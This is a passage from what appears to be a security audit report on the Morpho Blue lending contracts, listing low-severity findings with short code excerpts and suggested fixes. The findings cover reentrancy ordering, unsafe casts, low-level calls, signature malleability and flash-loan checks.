+[15](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L15), [20](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L20), [25](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L25), [30](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L30), [35](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L35), [40](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L40), [45](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L45), [50](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L50), [55](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L55), [60](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L60)
+
+
+
+
+### Code does not follow the best practice of check-effects-interaction
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Code should follow the best-practice of [check-effects-interaction](https://blockchain-academy.hs-mittweida.de/courses/solidity-coding-beginners-to-intermediate/lessons/solidity-11-coding-patterns/topic/checks-effects-interactions/), where state variables are updated before any external calls are made. Doing so prevents a large class of reentrancy bugs.
+
+*Instances (9)*:
+
+
+```solidity
+File: src/Morpho.sol
+
+/// @audit price called prior to this assignment
+381: market[id].totalBorrowShares -= repaidShares.toUint128();
+
+/// @audit price called prior to this assignment
+382: market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128();
+
+/// @audit price called prior to this assignment
+394: market[id].totalBorrowAssets -= badDebt.toUint128();
+
+/// @audit price called prior to this assignment
+395: market[id].totalSupplyAssets -= badDebt.toUint128();
+
+/// @audit price called prior to this assignment
+396: market[id].totalBorrowShares -= badDebtShares.toUint128();
+
+/// @audit borrowRate called prior to this assignment
+478: market[id].totalBorrowAssets += interest.toUint128();
+
+/// @audit borrowRate called prior to this assignment
+479: market[id].totalSupplyAssets += interest.toUint128();
+
+/// @audit borrowRate called prior to this assignment
+488: market[id].totalSupplyShares += feeShares.toUint128();
+
+/// @audit borrowRate called prior to this assignment
+494: market[id].lastUpdate = uint128(block.timestamp);
+
+```
+
+[381](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L381), [382](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L382), [394](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L394), [395](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L395), [396](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L396), [478](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L478), [479](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L479), [488](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L488), [494](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L494)
+
+
+
+
+### Double type casts create complexity within the code
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Double type casting should be avoided in Solidity contracts to prevent unintended consequences and ensure accurate data representation. Performing multiple type casts in succession can lead to unexpected truncation, rounding errors, or loss of precision, potentially compromising the contract's functionality and reliability. Furthermore, double type casting can make the code less readable and harder to maintain, increasing the likelihood of errors and misunderstandings during development and debugging. To ensure precise and consistent data handling, developers should use appropriate data types and avoid unnecessary or excessive type casting, promoting a more robust and dependable contract execution.
+
+*Instances (4)*:
+
+```solidity
+File: src/libraries/periphery/MorphoLib.sol
+
+20: return uint128(uint256(morpho.extSloads(slot)[0]));
+
+30: return uint128(uint256(morpho.extSloads(slot)[0]));
+
+40: return uint128(uint256(morpho.extSloads(slot)[0]));
+
+50: return uint128(uint256(morpho.extSloads(slot)[0]));
+
+```
+
+[20](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L20), [30](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L30), [40](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L40), [50](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L50)
+
+
+
+
+### Large transfers may not work with some `ERC20` tokens
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Some `IERC20` implementations (e.g `UNI`, `COMP`) may fail if the valued transferred is larger than `uint96`. [Source](https://github.com/d-xo/weird-erc20#revert-on-large-approvals--transfers)
+
+*Instances (7)*:
+
+```solidity
+File: src/Morpho.sol
+
+224: IERC20(marketParams.loanToken).safeTransfer(receiver, assets);
+
+260: IERC20(marketParams.loanToken).safeTransfer(receiver, assets);
+
+338: IERC20(marketParams.collateralToken).safeTransfer(receiver, assets);
+
+400: IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets);
+
+416: IERC20(token).safeTransfer(msg.sender, assets);
+
+```
+
+[224](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L224), [260](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L260), [338](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L338), [400](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L400), [416](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L416)
+
+```solidity
+File: src/libraries/SafeTransferLib.sol
+
+23: address(token).call(abi.encodeCall(IERC20Internal.transfer, (to, value)));
+
+23: address(token).call(abi.encodeCall(IERC20Internal.transfer, (to, value)));
+
+```
+
+[23](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L23), [23](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L23)
+
+
+
+
+### For loops in `public` or `external` functions should be avoided due to high gas costs and possible DOS
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+In Solidity, for loops can potentially cause Denial of Service (DoS) attacks if not handled carefully. DoS attacks can occur when an attacker intentionally exploits the gas cost of a function, causing it to run out of gas or making it too expensive for other users to call. Below are some scenarios where for loops can lead to DoS attacks: Nested for loops can become exceptionally gas expensive and should be used sparingly.
+
+*Instances (1)*:
+
+```solidity
+File: src/Morpho.sol
+
+/// @audit on line 535
+530: function extSloads(bytes32[] calldata slots) external view returns (bytes32[] memory res) {
+531: uint256 nSlots = slots.length;
+532:
+533: res = new bytes32[](nSlots);
+534:
+535: for (uint256 i; i < nSlots;) {
+536: bytes32 slot = slots[i++];
+537:
+538: assembly ("memory-safe") {
+539: mstore(add(res, mul(i, 32)), sload(slot))
+540: }
+541: }
+542: }
+
+```
+
+[530-542](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L530-L542)
+
+
+
+### Int casting `block.timestamp` can reduce the lifespan of a contract
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Consider removing casting to ensure future functionality.
+
+*Instances (2)*:
+
+```solidity
+File: src/Morpho.sol
+
+157: market[id].lastUpdate = uint128(block.timestamp);
+
+494: market[id].lastUpdate = uint128(block.timestamp);
+
+```
+
+[157](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L157), [494](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L494)
+
+
+
+### Unsafe solidity low-level call can cause gas grief attack
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Using the low-level calls of a solidity address can leave the contract open to gas grief attacks. These attacks occur when the called contract returns a large amount of data. So when calling an external contract, it is necessary to check the length of the return data before reading/copying it (using `returndatasize()`).
+
+*Instances (2)*:
+
+```solidity
+File: src/libraries/SafeTransferLib.sol
+
+/// @audit safeTransfer()
+23: address(token).call(abi.encodeCall(IERC20Internal.transfer, (to, value)));
+
+/// @audit safeTransferFrom()
+31: address(token).call(abi.encodeCall(IERC20Internal.transferFrom, (from, to, value)));
+
+```
+
+[23](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L23), [31](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L31)
+
+
+
+### External call recipient may consume all transaction gas
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+There is no limit specified on the amount of gas used, so the recipient can use up all of the transaction's gas, causing it to revert. Use `addr.call{gas: }("")` or [this](https://github.com/nomad-xyz/ExcessivelySafeCall) library instead
+
+*Instances (2)*:
+
+```solidity
+File: src/libraries/SafeTransferLib.sol
+
+/// @audit safeTransfer()
+23: address(token).call(abi.encodeCall(IERC20Internal.transfer, (to, value)));
+
+/// @audit safeTransferFrom()
+31: address(token).call(abi.encodeCall(IERC20Internal.transferFrom, (from, to, value)));
+
+```
+
+[23](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L23), [31](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L31)
+
+
+
+### Missing contract existence checks before low-level calls
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Low-level calls return success if there is no code present at the specified address. In addition to the zero-address checks, add a check to verify that `.code.length > 0`
+
+*Instances (2)*:
+
+```solidity
+File: src/libraries/SafeTransferLib.sol
+
+/// @audit safeTransfer()
+23: address(token).call(abi.encodeCall(IERC20Internal.transfer, (to, value)));
+
+/// @audit safeTransferFrom()
+31: address(token).call(abi.encodeCall(IERC20Internal.transferFrom, (from, to, value)));
+
+```
+
+[23](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L23), [31](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L31)
+
+
+
+### Missing checks for `ecrecover()` signature malleability
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+`ecrecover()` accepts as valid, two versions of signatures, meaning an attacker can use the same signature twice, or an attacker may be able to front-run the original signer with the altered version of the signature, causing the signer's transaction to revert due to nonce reuse. Consider adding checks for signature malleability, or using OpenZeppelin's ECDSA library to perform the extra checks necessary in order to prevent malleability.
+
+*Instances (1)*:
+
+```solidity
+File: src/Morpho.sol
+
+441: address signatory = ecrecover(digest, signature.v, signature.r, signature.s);
+
+```
+
+[441](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L441)
+
+
+
+### Functions calling contracts with transfer hooks are missing reentrancy guards
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Even if the function follows the best practice of check-effects-interaction, not using a reentrancy guard when there may be transfer hooks will open the users of this protocol up to read-only reentrancies with no way to protect against it, except by block-listing the whole protocol.
+
+*Instances (10)*:
+
+
+```solidity
+File: src/Morpho.sol
+
+/// @audit supply()
+191: IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+
+/// @audit withdraw()
+224: IERC20(marketParams.loanToken).safeTransfer(receiver, assets);
+
+/// @audit borrow()
+260: IERC20(marketParams.loanToken).safeTransfer(receiver, assets);
+
+/// @audit repay()
+292: IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+
+/// @audit supplyCollateral()
+316: IERC20(marketParams.collateralToken).safeTransferFrom(msg.sender, address(this), assets);
+
+/// @audit withdrawCollateral()
+338: IERC20(marketParams.collateralToken).safeTransfer(receiver, assets);
+
+/// @audit liquidate()
+400: IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets);
+
+/// @audit liquidate()
+407: IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), repaidAssets);
+
+/// @audit flashLoan()
+416: IERC20(token).safeTransfer(msg.sender, assets);
+
+/// @audit flashLoan()
+422: IERC20(token).safeTransferFrom(msg.sender, address(this), assets);
+
+```
+
+[191](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L191), [224](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L224), [260](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L260), [292](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L292), [316](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L316), [338](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L338), [400](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L400), [407](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L407), [416](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L416), [422](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L422)
+
+
+
+### Using `>`/`>=` without specifying an upper bound in version pragma is unsafe
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+There will be breaking changes in future versions of solidity, and at that point your code will no longer be compatible. While you may have the specific version to use in a configuration file, others that include your source files may not.
+
+*Instances (5)*:
+
+```solidity
+File: src/interfaces/IERC20.sol
+
+2: pragma solidity >=0.5.0;
+
+```
+
+[2](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IERC20.sol#L2)
+
+```solidity
+File: src/interfaces/IIrm.sol
+
+2: pragma solidity >=0.5.0;
+
+```
+
+[2](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IIrm.sol#L2)
+
+```solidity
+File: src/interfaces/IMorpho.sol
+
+2: pragma solidity >=0.5.0;
+
+```
+
+[2](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L2)
+
+```solidity
+File: src/interfaces/IMorphoCallbacks.sol
+
+2: pragma solidity >=0.5.0;
+
+```
+
+[2](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorphoCallbacks.sol#L2)
+
+```solidity
+File: src/interfaces/IOracle.sol
+
+2: pragma solidity >=0.5.0;
+
+```
+
+[2](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IOracle.sol#L2)
+
+
+
+
+### Prevent division by 0
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+On several locations in the code precautions are not being taken for not dividing by 0, this will revert the code.
+These functions can be called with 0 value in the input, this value is not checked for being bigger than 0, that means in some scenarios this can potentially trigger a division by zero.
+
+*Instances (2)*:
+
+```solidity
+File: src/libraries/MathLib.sol
+
+/// @audit d
+28: return (x * y) / d;
+
+/// @audit d
+33: return (x * y + (d - 1)) / d;
+
+```
+
+[28](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L28), [33](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L33)
+
+
+
+### Solidity version 0.8.20 may not work on other chains due to `PUSH0`
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+The compiler for Solidity 0.8.20 switches the default target EVM version to [Shanghai](https://blog.soliditylang.org/2023/05/10/solidity-0.8.20-release-announcement/#important-note), which includes the new PUSH0 op code. This op code may not yet be implemented on all L2s, so deployment on these chains will fail. To work around this issue, use an earlier [EVM](https://docs.soliditylang.org/en/v0.8.20/using-the-compiler.html?ref=zaryabs.com#setting-the-evm-version-to-target) [version](https://book.getfoundry.sh/reference/config/solidity-compiler#evm_version)
+
+*Instances (16)*:
+
+
+```solidity
+File: src/interfaces/IERC20.sol
+
+2: pragma solidity >=0.5.0;
+
+```
+
+[2](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IERC20.sol#L2)
+
+```solidity
+File: src/interfaces/IIrm.sol
+
+2: pragma solidity >=0.5.0;
+
+```
+
+[2](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IIrm.sol#L2)
+
+```solidity
+File: src/interfaces/IMorpho.sol
+
+2: pragma solidity >=0.5.0;
+
+```
+
+[2](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L2)
+
+```solidity
+File: src/interfaces/IMorphoCallbacks.sol
+
+2: pragma solidity >=0.5.0;
+
+```
+
+[2](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorphoCallbacks.sol#L2)
+
+```solidity
+File: src/interfaces/IOracle.sol
+
+2: pragma solidity >=0.5.0;
+
+```
+
+[2](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IOracle.sol#L2)
+
+```solidity
+File: src/libraries/ConstantsLib.sol
+
+2: pragma solidity ^0.8.0;
+
+```
+
+[2](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/ConstantsLib.sol#L2)
+
+```solidity
+File: src/libraries/ErrorsLib.sol
+
+2: pragma solidity ^0.8.0;
+
+```
+
+[2](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/ErrorsLib.sol#L2)
+
+```solidity
+File: src/libraries/EventsLib.sol
+
+2: pragma solidity ^0.8.0;
+
+```
+
+[2](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/EventsLib.sol#L2)
+
+```solidity
+File: src/libraries/MarketParamsLib.sol
+
+2: pragma solidity ^0.8.0;
+
+```
+
+[2](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MarketParamsLib.sol#L2)
+
+```solidity
+File: src/libraries/MathLib.sol
+
+2: pragma solidity ^0.8.0;
+
+```
+
+[2](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L2)
+
+```solidity
+File: src/libraries/SafeTransferLib.sol
+
+2: pragma solidity ^0.8.0;
+
+```
+
+[2](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L2)
+
+```solidity
+File: src/libraries/SharesMathLib.sol
+
+2: pragma solidity ^0.8.0;
+
+```
+
+[2](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L2)
+
+```solidity
+File: src/libraries/UtilsLib.sol
+
+2: pragma solidity ^0.8.0;
+
+```
+
+[2](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L2)
+
+```solidity
+File: src/libraries/periphery/MorphoBalancesLib.sol
+
+2: pragma solidity ^0.8.0;
+
+```
+
+[2](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L2)
+
+```solidity
+File: src/libraries/periphery/MorphoLib.sol
+
+2: pragma solidity ^0.8.0;
+
+```
+
+[2](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L2)
+
+```solidity
+File: src/libraries/periphery/MorphoStorageLib.sol
+
+2: pragma solidity ^0.8.0;
+
+```
+
+[2](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L2)
+
+
+
+
+### Consider to Use `SafeCast` for Casting
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Casting from larger types to smaller ones can potentially lead to overflows and thus unexpected behavior.
+
+OpenZeppelin's SafeCast library provides functions for safe type conversions, throwing an error whenever an overflow would occur. It is generally recommended to use SafeCast or similar protective measures when performing type conversions to ensure the accuracy of your computations and the security of your contracts.
+
+*Instances (2)*:
+
+```solidity
+File: src/Morpho.sol
+
+/// @audit uint256 -> uint128
+133: market[id].fee = uint128(newFee);
+
+```
+
+[133](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L133)
+
+```solidity
+File: src/libraries/UtilsLib.sol
+
+/// @audit uint256 -> uint128
+29: return uint128(x);
+
+```
+
+[29](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L29)
+
+
+
+
+### Consider implementing two-step procedure for updating protocol addresses
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+A copy-paste error or a typo may end up bricking protocol functionality, or sending tokens to an address with no known private key. Consider implementing a two-step procedure for updating protocol addresses, where the recipient is set as pending, and must 'accept' the assignment by making an affirmative call. A straight forward way of doing this would be to have the target contracts implement [EIP-165](https://eips.ethereum.org/EIPS/eip-165), and to have the 'set' functions ensure that the recipient is of the right interface type.
+
+*Instances (2)*:
+
+```solidity
+File: src/Morpho.sol
+
+95: function setOwner(address newOwner) external onlyOwner {
+96: require(newOwner != owner, ErrorsLib.ALREADY_SET);
+97:
+98: owner = newOwner;
+99:
+100: emit EventsLib.SetOwner(newOwner);
+101: }
+
+139: function setFeeRecipient(address newFeeRecipient) external onlyOwner {
+140: require(newFeeRecipient != feeRecipient, ErrorsLib.ALREADY_SET);
+141:
+142: feeRecipient = newFeeRecipient;
+143:
+144: emit EventsLib.SetFeeRecipient(newFeeRecipient);
+145: }
+
+```
+
+[95-101](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L95-L101), [139-145](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L139-L145)
+
+
+
+### Morpho.flashloan has no check that assets are non-zero
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Impact
+When making a flash loan, there should be a check that the amount is not zero. Otherwise, the flashLoan may be susceptible to unintended behavior such as making a callback even when no funds were flash loaned.
+
+- Proof of Concept
+
+```solidity
+ /// @inheritdoc IMorphoBase
+ function flashLoan(address token, uint256 assets, bytes calldata data) external {
+ // AUDIT: there should be a check that assets are greater than 0
+
+ IERC20(token).safeTransfer(msg.sender, assets);
+
+ // emit EventsLib.FlashLoan(msg.sender, token, assets);
+
+ IMorphoFlashLoanCallback(msg.sender).onMorphoFlashLoan(assets, data);
+
+ IERC20(token).safeTransferFrom(msg.sender, address(this), assets);
+ }
+
+```
+
+- Tools Used
+Eyes
+
+- Recommended Mitigation Steps
+Add a require statement checking that the assets value is non-zero.
+
+
+
+
+### block.chainid should be calculated at time of permit call, not during constructor
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Impact
+The Morpho contract constructor calculates the chainid it should assign during its execution and permanently stores it in an immutable variable. Should Ethereum fork in the feature, the chainid will change breaking permits.
+
+- Proof of Concept
+
+Below is the constructor in question which calculates the chainid:
+
+```solidity
+ /// @param newOwner The new owner of the contract.
+ constructor(address newOwner) {
+ require(newOwner != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ // AUDIT CONFIRMED: block.chainid should be calculated at time of permit call, not during constructor.
+ DOMAIN_SEPARATOR = keccak256(abi.encode(DOMAIN_TYPEHASH, block.chainid, address(this)));
+ owner = newOwner;
+
+ emit EventsLib.SetOwner(newOwner);
+ }
+
+
+```
+
+This has been reported before in contests such as here: https://github.com/code-423n4/2021-04-maple-findings/issues/2
+
+- Tools Used
+
+Eyes
+
+- Recommended Mitigation Steps
+
+The mitigation action that should be applied is the calculation of the chainid dynamically on each permit invocation. As a gas optimization, the deployment pre-calculated hash for the permits can be stored to an immutable variable and a validation can occur on the permit function that ensure the current chainid is equal to the one of the cached hash and if not, to re-calculate it on the spot.
+
+
+
+### No fee charged to incentives morpho creator
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**
+Code makes it possible for anyone to take flashloan at no cost on every morpho deployed, However with no incentives to the morpho deployers.
+
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L415
+
+**Recommendation**
+Allow morpho owners the option to set 0 fee percentage or set a fee percentrage but within a constant maxFee percentage e.g. 0.1%.
+
+
+
+### IRMs that use total market collateralization as interest rate factor will malfunction
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Context:** [https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L308-L310](Morpho.sol#L308-L310)
+
+**Description:** Some IRMs might use total collateralization (spot or as a moving average) as a part of interest rate algorithm, they will malfunction as a result of this gas saving:
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L300-L317
+
+```solidity
+ function supplyCollateral(MarketParams memory marketParams, uint256 assets, address onBehalf, bytes calldata data)
+ external
+ {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(assets != 0, ErrorsLib.ZERO_ASSETS);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+>> // Don't accrue interest because it's not required and it saves gas.
+
+ position[id][onBehalf].collateral += assets.toUint128();
+
+ emit EventsLib.SupplyCollateral(id, msg.sender, onBehalf, assets);
+
+ if (data.length > 0) IMorphoSupplyCollateralCallback(msg.sender).onMorphoSupplyCollateral(assets, data);
+
+ IERC20(marketParams.collateralToken).safeTransferFrom(msg.sender, address(this), assets);
+ }
+```
+
+Impact: whenever such IRMs be allowed in the markets they will compute interest rates incorrectly, since it will affect the whole market, shifting fair asset distribution, the impact severity can be estimated as high.
+
+The probability of this can be deemed very low as IRMs are enabled directly.
+
+Per very low probability and high impact setting the total severity to be low.
+
+**Recommendation:** Consider either documenting the limitation (i.e. no collateralization dependent IRM can be ever used with Morpho) or add a version of the protocol where this gas optimization be removed and rates be updated on the collateral supply.
+
+
+
+### Missing Counter Mehod to Disable IRM to LLTV
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+When creating a new market, the corresponding LRM and LLTV need to be enabled before the creation. However, since the IRM refers to an external contract that can be deprecated when a more reasonable Interest Rate Model is generated or in the corner case the current Interest Rate Model is not suited for the market, an update or disable method may needed.
+
+A similar suggestion was also raised for the LLTV value.
+
+**Recommendation**:
+
+Recommend adding update or disable methods for IRM and LLTV.
+
+
+
+
+### Potential Missing Fee Distribution to the Previous `feeRecipient`
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+In `morpho-blue` project, the contract owner has the ability to update the `feeRecipient`.
+
